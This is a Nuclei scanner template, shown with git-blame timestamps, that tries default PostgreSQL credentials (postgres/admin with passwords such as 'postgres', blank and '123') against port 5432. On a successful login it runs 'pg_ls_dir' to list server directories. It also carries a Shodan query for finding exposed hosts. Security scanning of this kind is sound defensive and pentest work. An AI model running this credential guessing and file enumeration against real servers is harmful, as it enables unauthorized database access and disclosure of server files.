nuclei-templates/javascript/enumeration/pgsql/pgsql-file-read.yaml

52 lines
1.4 KiB
YAML
Raw Normal View History

2024-04-15 01:09:14 +00:00
id: pgsql-file-read
2024-03-27 19:34:47 +00:00
info:
name: PostgreSQL File Read
author: pussycat0x
2024-03-29 07:59:52 +00:00
severity: high
2024-03-27 19:34:47 +00:00
description: |
Read and list the files within the PostgreSQL database,
reference:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-file-read
metadata:
2024-04-01 08:19:09 +00:00
verified: true
max-request: 8
shodan-query: "product:\"PostgreSQL\""
tags: js,network,postgresql,authenticated,enum
2024-03-27 19:34:47 +00:00
javascript:
- pre-condition: |
var m = require("nuclei/postgres");
var c = m.PGClient();
c.IsPostgres(Host, Port);
code: |
2024-03-27 19:34:47 +00:00
const postgres = require('nuclei/postgres');
const client = new postgres.PGClient;
connected = client.ExecuteQuery(Host, Port, User, Pass, Db, "select pg_ls_dir('./');");
Export(connected);
args:
Host: "{{Host}}"
Port: 5432
User: "{{usernames}}"
Pass: "{{password}}"
Db: "{{database}}"
payloads:
usernames:
- postgres
2024-03-29 07:59:52 +00:00
- admin
2024-03-27 19:34:47 +00:00
password:
- postgres
2024-03-29 07:59:52 +00:00
-
- 123
- amber
database:
- postgres
2024-03-27 19:34:47 +00:00
attack: clusterbomb
extractors:
- type: json
json:
- '.Rows[].pg_ls_dir'
# digest: 4b0a0048304602210095a0f56d8e1159c3c63ad0ce828e6fbec808386269ca3f79cdf466f469db46a0022100d8496463e9008ace638ea54651811a2dac970d56641ab8ada49883425177e6a4:922c64590222798bb761d5b6d8e72950